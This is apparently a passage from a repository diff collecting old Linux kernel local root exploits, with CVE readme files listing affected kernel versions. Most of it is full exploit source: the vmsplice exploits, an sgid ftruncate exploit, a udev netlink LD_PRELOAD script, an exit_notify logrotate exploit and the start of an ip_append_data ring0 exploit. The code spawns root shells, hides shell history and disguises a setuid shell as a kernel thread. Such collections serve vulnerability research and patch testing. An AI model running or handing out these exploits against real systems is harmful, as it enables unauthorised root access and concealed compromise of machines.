printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
long get_target()
|
||||
{
|
||||
FILE *f;
|
||||
long addr = 0;
|
||||
char line[128];
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (!f) die("/proc/kallsyms", errno);
|
||||
|
||||
while (fgets(line, sizeof(line), f)) {
|
||||
if (strstr(line, TARGET_PATTERN)) {
|
||||
addr = strtoul(line, NULL, 16);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
|
||||
static inline __attribute__((always_inline))
|
||||
void * get_current()
|
||||
{
|
||||
unsigned long curr;
|
||||
__asm__ __volatile__ (
|
||||
"movl %%esp, %%eax ;"
|
||||
"andl %1, %%eax ;"
|
||||
"movl (%%eax), %0"
|
||||
: "=r" (curr)
|
||||
: "i" (~8191)
|
||||
);
|
||||
return (void *) curr;
|
||||
}
|
||||
|
||||
static uint uid, gid;
|
||||
|
||||
void kernel_code()
|
||||
{
|
||||
int i;
|
||||
uint *p = get_current();
|
||||
|
||||
for (i = 0; i < 1024-13; i++) {
|
||||
if (p[0] == uid && p[1] == uid &&
|
||||
p[2] == uid && p[3] == uid &&
|
||||
p[4] == gid && p[5] == gid &&
|
||||
p[6] == gid && p[7] == gid) {
|
||||
p[0] = p[1] = p[2] = p[3] = 0;
|
||||
p[4] = p[5] = p[6] = p[7] = 0;
|
||||
p = (uint *) ((char *)(p + 8) + sizeof(void *));
|
||||
p[0] = p[1] = p[2] = ~0;
|
||||
break;
|
||||
}
|
||||
p++;
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int pi[2];
|
||||
long addr;
|
||||
struct iovec iov;
|
||||
|
||||
uid = getuid();
|
||||
gid = getgid();
|
||||
setresuid(uid, uid, uid);
|
||||
setresgid(gid, gid, gid);
|
||||
|
||||
printf("-----------------------------------\n");
|
||||
printf(" Linux vmsplice Local Root Exploit\n");
|
||||
printf(" By qaaz\n");
|
||||
printf("-----------------------------------\n");
|
||||
|
||||
if (!uid || !gid)
|
||||
die("!@#$", 0);
|
||||
|
||||
addr = get_target();
|
||||
printf("[+] addr: 0x%lx\n", addr);
|
||||
|
||||
if (pipe(pi) < 0)
|
||||
die("pipe", errno);
|
||||
|
||||
iov.iov_base = (void *) addr;
|
||||
iov.iov_len = TRAMP_SIZE;
|
||||
|
||||
write(pi[1], TRAMP_CODE, TRAMP_SIZE);
|
||||
_vmsplice(pi[0], &iov, 1, 0);
|
||||
|
||||
gimmeroot();
|
||||
|
||||
if (getuid() != 0)
|
||||
die("wtf", 0);
|
||||
|
||||
printf("[+] root\n");
|
||||
putenv("HISTFILE=/dev/null");
|
||||
execl("/bin/bash", "bash", "-i", NULL);
|
||||
die("/bin/bash", errno);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// milw0rm.com [2008-02-09]
|
|
@ -0,0 +1,15 @@
|
|||
# CVE-2008-0600
|
||||
|
||||
CVE-2008-0600
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2008-0600](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2008-0600)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/5093/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.23, 2.6.24
|
||||
```
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,289 @@
|
|||
/*
|
||||
* jessica_biel_naked_in_my_bed.c
|
||||
*
|
||||
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
|
||||
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
|
||||
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
|
||||
*
|
||||
* Linux vmsplice Local Root Exploit
|
||||
* By qaaz
|
||||
*
|
||||
* Linux 2.6.17 - 2.6.24.1
|
||||
*
|
||||
* This is quite old code and I had to rewrite it to even compile.
|
||||
* It should work well, but I don't remeber original intent of all
|
||||
* the code, so I'm not 100% sure about it. You've been warned ;)
|
||||
*
|
||||
* -static -Wno-format
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
#include <limits.h>
|
||||
#include <signal.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/uio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <asm/page.h>
|
||||
#define __KERNEL__
|
||||
#include <asm/unistd.h>
|
||||
|
||||
#define PIPE_BUFFERS 16
|
||||
#define PG_compound 14
|
||||
#define uint unsigned int
|
||||
#define static_inline static inline __attribute__((always_inline))
|
||||
#define STACK(x) (x + sizeof(x) - 40)
|
||||
|
||||
struct page {
|
||||
unsigned long flags;
|
||||
int count;
|
||||
int mapcount;
|
||||
unsigned long private;
|
||||
void *mapping;
|
||||
unsigned long index;
|
||||
struct { long next, prev; } lru;
|
||||
};
|
||||
|
||||
void exit_code();
|
||||
char exit_stack[1024 * 1024];
|
||||
|
||||
void die(char *msg, int err)
|
||||
{
|
||||
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
#if defined (__i386__)
|
||||
|
||||
#ifndef __NR_vmsplice
|
||||
#define __NR_vmsplice 316
|
||||
#endif
|
||||
|
||||
#define USER_CS 0x73
|
||||
#define USER_SS 0x7b
|
||||
#define USER_FL 0x246
|
||||
|
||||
static_inline
|
||||
void exit_kernel()
|
||||
{
|
||||
__asm__ __volatile__ (
|
||||
"movl %0, 0x10(%%esp) ;"
|
||||
"movl %1, 0x0c(%%esp) ;"
|
||||
"movl %2, 0x08(%%esp) ;"
|
||||
"movl %3, 0x04(%%esp) ;"
|
||||
"movl %4, 0x00(%%esp) ;"
|
||||
"iret"
|
||||
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
|
||||
"i" (USER_CS), "r" (exit_code)
|
||||
);
|
||||
}
|
||||
|
||||
static_inline
|
||||
void * get_current()
|
||||
{
|
||||
unsigned long curr;
|
||||
__asm__ __volatile__ (
|
||||
"movl %%esp, %%eax ;"
|
||||
"andl %1, %%eax ;"
|
||||
"movl (%%eax), %0"
|
||||
: "=r" (curr)
|
||||
: "i" (~8191)
|
||||
);
|
||||
return (void *) curr;
|
||||
}
|
||||
|
||||
#elif defined (__x86_64__)
|
||||
|
||||
#ifndef __NR_vmsplice
|
||||
#define __NR_vmsplice 278
|
||||
#endif
|
||||
|
||||
#define USER_CS 0x23
|
||||
#define USER_SS 0x2b
|
||||
#define USER_FL 0x246
|
||||
|
||||
static_inline
|
||||
void exit_kernel()
|
||||
{
|
||||
__asm__ __volatile__ (
|
||||
"swapgs ;"
|
||||
"movq %0, 0x20(%%rsp) ;"
|
||||
"movq %1, 0x18(%%rsp) ;"
|
||||
"movq %2, 0x10(%%rsp) ;"
|
||||
"movq %3, 0x08(%%rsp) ;"
|
||||
"movq %4, 0x00(%%rsp) ;"
|
||||
"iretq"
|
||||
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
|
||||
"i" (USER_CS), "r" (exit_code)
|
||||
);
|
||||
}
|
||||
|
||||
static_inline
|
||||
void * get_current()
|
||||
{
|
||||
unsigned long curr;
|
||||
__asm__ __volatile__ (
|
||||
"movq %%gs:(0), %0"
|
||||
: "=r" (curr)
|
||||
);
|
||||
return (void *) curr;
|
||||
}
|
||||
|
||||
#else
|
||||
#error "unsupported arch"
|
||||
#endif
|
||||
|
||||
#if defined (_syscall4)
|
||||
#define __NR__vmsplice __NR_vmsplice
|
||||
_syscall4(
|
||||
long, _vmsplice,
|
||||
int, fd,
|
||||
struct iovec *, iov,
|
||||
unsigned long, nr_segs,
|
||||
unsigned int, flags)
|
||||
|
||||
#else
|
||||
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
|
||||
#endif
|
||||
|
||||
static uint uid, gid;
|
||||
|
||||
void kernel_code()
|
||||
{
|
||||
int i;
|
||||
uint *p = get_current();
|
||||
|
||||
for (i = 0; i < 1024-13; i++) {
|
||||
if (p[0] == uid && p[1] == uid &&
|
||||
p[2] == uid && p[3] == uid &&
|
||||
p[4] == gid && p[5] == gid &&
|
||||
p[6] == gid && p[7] == gid) {
|
||||
p[0] = p[1] = p[2] = p[3] = 0;
|
||||
p[4] = p[5] = p[6] = p[7] = 0;
|
||||
p = (uint *) ((char *)(p + 8) + sizeof(void *));
|
||||
p[0] = p[1] = p[2] = ~0;
|
||||
break;
|
||||
}
|
||||
p++;
|
||||
}
|
||||
|
||||
exit_kernel();
|
||||
}
|
||||
|
||||
void exit_code()
|
||||
{
|
||||
if (getuid() != 0)
|
||||
die("wtf", 0);
|
||||
|
||||
printf("[+] root\n");
|
||||
putenv("HISTFILE=/dev/null");
|
||||
execl("/bin/bash", "bash", "-i", NULL);
|
||||
die("/bin/bash", errno);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int pi[2];
|
||||
size_t map_size;
|
||||
char * map_addr;
|
||||
struct iovec iov;
|
||||
struct page * pages[5];
|
||||
|
||||
uid = getuid();
|
||||
gid = getgid();
|
||||
setresuid(uid, uid, uid);
|
||||
setresgid(gid, gid, gid);
|
||||
|
||||
printf("-----------------------------------\n");
|
||||
printf(" Linux vmsplice Local Root Exploit\n");
|
||||
printf(" By qaaz\n");
|
||||
printf("-----------------------------------\n");
|
||||
|
||||
if (!uid || !gid)
|
||||
die("!@#$", 0);
|
||||
|
||||
/*****/
|
||||
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
|
||||
pages[1] = pages[0] + 1;
|
||||
|
||||
map_size = PAGE_SIZE;
|
||||
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (map_addr == MAP_FAILED)
|
||||
die("mmap", errno);
|
||||
|
||||
memset(map_addr, 0, map_size);
|
||||
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
|
||||
printf("[+] page: 0x%lx\n", pages[0]);
|
||||
printf("[+] page: 0x%lx\n", pages[1]);
|
||||
|
||||
pages[0]->flags = 1 << PG_compound;
|
||||
pages[0]->private = (unsigned long) pages[0];
|
||||
pages[0]->count = 1;
|
||||
pages[1]->lru.next = (long) kernel_code;
|
||||
|
||||
/*****/
|
||||
pages[2] = *(void **) pages[0];
|
||||
pages[3] = pages[2] + 1;
|
||||
|
||||
map_size = PAGE_SIZE;
|
||||
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (map_addr == MAP_FAILED)
|
||||
die("mmap", errno);
|
||||
|
||||
memset(map_addr, 0, map_size);
|
||||
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
|
||||
printf("[+] page: 0x%lx\n", pages[2]);
|
||||
printf("[+] page: 0x%lx\n", pages[3]);
|
||||
|
||||
pages[2]->flags = 1 << PG_compound;
|
||||
pages[2]->private = (unsigned long) pages[2];
|
||||
pages[2]->count = 1;
|
||||
pages[3]->lru.next = (long) kernel_code;
|
||||
|
||||
/*****/
|
||||
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
|
||||
map_size = PAGE_SIZE;
|
||||
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (map_addr == MAP_FAILED)
|
||||
die("mmap", errno);
|
||||
memset(map_addr, 0, map_size);
|
||||
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
|
||||
printf("[+] page: 0x%lx\n", pages[4]);
|
||||
|
||||
/*****/
|
||||
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
|
||||
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (map_addr == MAP_FAILED)
|
||||
die("mmap", errno);
|
||||
|
||||
memset(map_addr, 0, map_size);
|
||||
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
|
||||
|
||||
/*****/
|
||||
map_size -= 2 * PAGE_SIZE;
|
||||
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
|
||||
die("munmap", errno);
|
||||
|
||||
/*****/
|
||||
if (pipe(pi) < 0) die("pipe", errno);
|
||||
close(pi[0]);
|
||||
|
||||
iov.iov_base = map_addr;
|
||||
iov.iov_len = ULONG_MAX;
|
||||
|
||||
signal(SIGPIPE, exit_code);
|
||||
_vmsplice(pi[1], &iov, 1, 0);
|
||||
die("vmsplice", errno);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// milw0rm.com [2008-02-09]
|
|
@ -0,0 +1,13 @@
|
|||
# CVE-2008-0900
|
||||
|
||||
CVE-2008-0900
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2008-0900](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2008-0900)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/5092/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.24.1
|
||||
```
|
||||
|
|
@ -0,0 +1,88 @@
|
|||
/*
|
||||
gw-ftrex.c:
|
||||
|
||||
Linux kernel < 2.6.22 open/ftruncate local exploit
|
||||
by <gat3way at gat3way dot eu>
|
||||
|
||||
bug information:
|
||||
http://osvdb.org/49081
|
||||
|
||||
|
||||
!!!This is for educational purposes only!!!
|
||||
|
||||
To use it, you've got to find a sgid directory you've got
|
||||
permissions to write into (obviously world-writable), e.g:
|
||||
find / -perm -2000 -type d 2>/dev/null|xargs ls -ld|grep "rwx"
|
||||
which fortunately is not common those days :)
|
||||
And also a shell that does not drop sgid privs upon execution (like ash/sash).
|
||||
E.g:
|
||||
|
||||
test:/fileserver/samba$ ls -ld
|
||||
drwxrwsrwx 2 root root 4096 2008-10-27 16:27.
|
||||
test:/fileserver/samba$ id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
test:/fileserver/samba$ /tmp/gw-ftrex
|
||||
ash shell found!
|
||||
size=80200
|
||||
We're evil evil evil!
|
||||
|
||||
$ id
|
||||
uid=33(www-data) gid=33(www-data) egid=0(root) groups=33(www-data)
|
||||
|
||||
Trqbva da kaja neshto umno kato zakliuchenie...ma sega ne moga da se setia.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mman.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
char *buf=malloc(3096*1024); //3mb just to be sure
|
||||
int a,len;
|
||||
int fd,fd1;
|
||||
char *buf1;
|
||||
int shell=0;
|
||||
|
||||
|
||||
if (stat("/bin/ash",buf)==0)
|
||||
{
|
||||
printf("ash shell found!\n");
|
||||
shell=1;
|
||||
}
|
||||
|
||||
if (shell==0) if (stat("/bin/sash",buf)==0)
|
||||
{
|
||||
printf("sash shell found!\n");
|
||||
shell=1;
|
||||
}
|
||||
|
||||
if (shell==0)
|
||||
{
|
||||
printf("no suitable shell found (one that does not drop sgid permissions) :(\n");
|
||||
exit(2);
|
||||
}
|
||||
|
||||
|
||||
len=0;
|
||||
if (shell==1) fd=open("/bin/ash",O_RDONLY);
|
||||
if (shell==2) fd=open("/bin/sash",O_RDONLY);
|
||||
|
||||
while (read(fd,buf+len,1)) len++;
|
||||
|
||||
printf("size=%d\n",len);
|
||||
fd1=open(".evilsploit",O_RDWR | O_CREAT | O_EXCL, 02750);
|
||||
ftruncate(fd1, len);
|
||||
buf1 = mmap(NULL, len, PROT_WRITE | PROT_EXEC, MAP_SHARED, fd1, 0);
|
||||
memcpy(buf1,buf,len);
|
||||
munmap(buf1,len);
|
||||
close(fd1);close(fd);
|
||||
free(buf);
|
||||
printf("We're evil evil evil!\n\n");
|
||||
execv(".evilsploit", NULL);
|
||||
}
|
||||
|
||||
// milw0rm.com [2008-10-27]
|
|
@ -0,0 +1,13 @@
|
|||
# CVE-2008-4210
|
||||
|
||||
CVE-2008-4210
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2008-4210](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4210)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/6851/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22
|
||||
```
|
||||
|
|
@ -0,0 +1,133 @@
|
|||
#!/bin/sh
|
||||
# Linux 2.6
|
||||
# bug found by Sebastian Krahmer
|
||||
#
|
||||
# lame sploit using LD technique
|
||||
# by kcope in 2009
|
||||
# tested on debian-etch,ubuntu,gentoo
|
||||
# do a 'cat /proc/net/netlink'
|
||||
# and set the first arg to this
|
||||
# script to the pid of the netlink socket
|
||||
# (the pid is udevd_pid - 1 most of the time)
|
||||
# + sploit has to be UNIX formatted text :)
|
||||
# + if it doesn't work the 1st time try more often
|
||||
#
|
||||
# WARNING: maybe needs some FIXUP to work flawlessly
|
||||
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
|
||||
|
||||
cat > udev.c << _EOF
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <dirent.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sysexits.h>
|
||||
#include <wait.h>
|
||||
#include <signal.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/types.h>
|
||||
#include <linux/netlink.h>
|
||||
|
||||
#ifndef NETLINK_KOBJECT_UEVENT
|
||||
#define NETLINK_KOBJECT_UEVENT 15
|
||||
#endif
|
||||
|
||||
#define SHORT_STRING 64
|
||||
#define MEDIUM_STRING 128
|
||||
#define BIG_STRING 256
|
||||
#define LONG_STRING 1024
|
||||
#define EXTRALONG_STRING 4096
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
|
||||
int socket_fd;
|
||||
struct sockaddr_nl address;
|
||||
struct msghdr msg;
|
||||
struct iovec iovector;
|
||||
int sz = 64*1024;
|
||||
|
||||
main(int argc, char **argv) {
|
||||
char sysfspath[SHORT_STRING];
|
||||
char subsystem[SHORT_STRING];
|
||||
char event[SHORT_STRING];
|
||||
char major[SHORT_STRING];
|
||||
char minor[SHORT_STRING];
|
||||
|
||||
sprintf(event, "add");
|
||||
sprintf(subsystem, "block");
|
||||
sprintf(sysfspath, "/dev/foo");
|
||||
sprintf(major, "8");
|
||||
sprintf(minor, "1");
|
||||
|
||||
memset(&address, 0, sizeof(address));
|
||||
address.nl_family = AF_NETLINK;
|
||||
address.nl_pid = atoi(argv[1]);
|
||||
address.nl_groups = 0;
|
||||
|
||||
msg.msg_name = (void*)&address;
|
||||
msg.msg_namelen = sizeof(address);
|
||||
msg.msg_iov = &iovector;
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
|
||||
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
|
||||
|
||||
char message[LONG_STRING];
|
||||
char *mp;
|
||||
|
||||
mp = message;
|
||||
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
|
||||
mp += sprintf(mp, "ACTION=%s", event) +1;
|
||||
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
|
||||
mp += sprintf(mp, "MAJOR=%s", major) +1;
|
||||
mp += sprintf(mp, "MINOR=%s", minor) +1;
|
||||
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
|
||||
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
|
||||
|
||||
iovector.iov_base = (void*)message;
|
||||
iovector.iov_len = (int)(mp-message);
|
||||
|
||||
char *buf;
|
||||
int buflen;
|
||||
buf = (char *) &msg;
|
||||
buflen = (int)(mp-message);
|
||||
|
||||
sendmsg(socket_fd, &msg, 0);
|
||||
|
||||
close(socket_fd);
|
||||
|
||||
sleep(10);
|
||||
execl("/tmp/suid", "suid", (void*)0);
|
||||
}
|
||||
|
||||
_EOF
|
||||
gcc udev.c -o /tmp/udev
|
||||
cat > program.c << _EOF
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void _init()
|
||||
{
|
||||
setgid(0);
|
||||
setuid(0);
|
||||
unsetenv("LD_PRELOAD");
|
||||
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
|
||||
}
|
||||
|
||||
_EOF
|
||||
gcc -o program.o -c program.c -fPIC
|
||||
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
|
||||
cat > suid.c << _EOF
|
||||
int main(void) {
|
||||
setgid(0); setuid(0);
|
||||
execl("/bin/sh","sh",0); }
|
||||
_EOF
|
||||
gcc -o /tmp/suid suid.c
|
||||
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
|
||||
/tmp/udev $1
|
||||
|
||||
# milw0rm.com [2009-04-20]
|
|
@ -0,0 +1,13 @@
|
|||
# CVE-2009-1185
|
||||
|
||||
CVE-2009-1185
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2009-1185](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-1185)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/8478/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29
|
||||
```
|
||||
|
|
@ -0,0 +1,103 @@
|
|||
#!/bin/sh
|
||||
|
||||
###################################################################################
|
||||
# gw-notexit.sh: Linux kernel <2.6.29 exit_notify() local root exploit
|
||||
#
|
||||
# by Milen Rangelov (gat3way-at-gat3way-dot-eu)
|
||||
#
|
||||
# Based on 'exit_notify()' CAP_KILL verification bug found by Oleg Nestorov.
|
||||
# Basically it allows us to send arbitrary signals to a privileged (suidroot)
|
||||
# parent process. Due to a bad check, the child process with appropriate exit signal
|
||||
# already set can first execute a suidroot binary then exit() and thus bypass
|
||||
# in-kernel privilege checks. We use chfn and gpasswd for that purpose.
|
||||
#
|
||||
# !!!!!!!!!!!
|
||||
# Needs /proc/sys/fs/suid_dumpable set to 1 or 2. The default is 0
|
||||
# so you'll be out of luck most of the time.
|
||||
# So it is not going to be the script kiddies' new killer shit :-)
|
||||
# !!!!!!!!!!!
|
||||
#
|
||||
# if you invent a better way to escalate privileges by sending arbitrary signals to
|
||||
# the parent process, please mail me :) That was the best I could think of today :-(
|
||||
#
|
||||
# This one made me nostalgic about the prctl(PR_SET_DUMPABLE,2) madness
|
||||
#
|
||||
# Skuchna rabota...
|
||||
#
|
||||
####################################################################################
|
||||
|
||||
|
||||
|
||||
|
||||
SUIDDUMP=`cat /proc/sys/fs/suid_dumpable`
|
||||
if [ $SUIDDUMP -lt 1 ]; then echo -e "suid_dumpable=0 - system not vulnerable!\n";exit; fi
|
||||
if [ -d /etc/logrotate.d ]; then
|
||||
echo "logrotate installed, that's good!"
|
||||
else
|
||||
echo "No logrotate installed, sorry!";exit
|
||||
fi
|
||||
|
||||
echo -e "Compiling the bash setuid() wrapper..."
|
||||
cat >> /tmp/.m.c << EOF
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
setuid(0);
|
||||
execl("/bin/bash","[kthreadd]",NULL);
|
||||
}
|
||||
EOF
|
||||
|
||||
cc /tmp/.m.c -o /tmp/.m
|
||||
rm /tmp/.m.c
|
||||
|
||||
echo -e "Compiling the exploit code..."
|
||||
|
||||
cat >> /tmp/exploit.c << EOF
|
||||
#include <stdio.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int child(void *data)
|
||||
{
|
||||
sleep(2);
|
||||
printf("I'm gonna kill the suidroot father without having root rights :D\n");
|
||||
execl("/usr/bin/gpasswd","%s",NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
int stacksize = 4*getpagesize();
|
||||
void *stack, *stacktop;
|
||||
stack = malloc(stacksize);
|
||||
stacktop = stack + stacksize;
|
||||
chdir("/etc/logrotate.d");
|
||||
int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
|
||||
if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
|
||||
}
|
||||
EOF
|
||||
|
||||
cc /tmp/exploit.c -o /tmp/.ex
|
||||
rm /tmp/exploit.c
|
||||
|
||||
echo -e "Setting coredump limits and running the exploit...\n"
|
||||
ulimit -c 10000
|
||||
touch /tmp/.a
|
||||
`/tmp/.ex >/dev/null 2>/dev/null`
|
||||
sleep 5
|
||||
rm /tmp/.ex
|
||||
|
||||
if [ -e /etc/logrotate.d/core ]; then
|
||||
echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n"
|
||||
echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root"
|
||||
echo -e "\nYour terminal is most probably screwed now, sorry for that..."
|
||||
exit
|
||||
fi
|
||||
|
||||
echo "The system is not vulnerable, sorry :("
|
||||
|
||||
# milw0rm.com [2009-04-08]
|
|
@ -0,0 +1,15 @@
|
|||
# CVE-2009-1337
|
||||
|
||||
CVE-2009-1337
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2009-1337](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-1337)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/8369/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29
|
||||
```
|
||||
|
||||
|
||||
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,15 @@
|
|||
# CVE-2009-2692
|
||||
|
||||
CVE-2009-2692
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2009-2692](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-2692)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/9435/)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/9436/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,107 @@
|
|||
/*
|
||||
**
|
||||
** 0x82-CVE-2009-2698
|
||||
** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
|
||||
**
|
||||
** Tested White Box 4(2.6.9-5.ELsmp),
|
||||
** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),
|
||||
** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),
|
||||
** Fedora Core 6(2.6.18-1.2798.fc6).
|
||||
**
|
||||
** --
|
||||
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
|
||||
** Thankful to them.
|
||||
**
|
||||
** --
|
||||
** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698
|
||||
** sh-3.1# id
|
||||
** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t
|
||||
** sh-3.1#
|
||||
** --
|
||||
** exploit by <p0c73n1(at)gmail(dot)com>.
|
||||
**
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/personality.h>
|
||||
|
||||
unsigned int uid, gid;
|
||||
void get_root_uid(unsigned *task)
|
||||
{
|
||||
unsigned *addr=task;
|
||||
while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){
|
||||
addr++;
|
||||
}
|
||||
addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */
|
||||
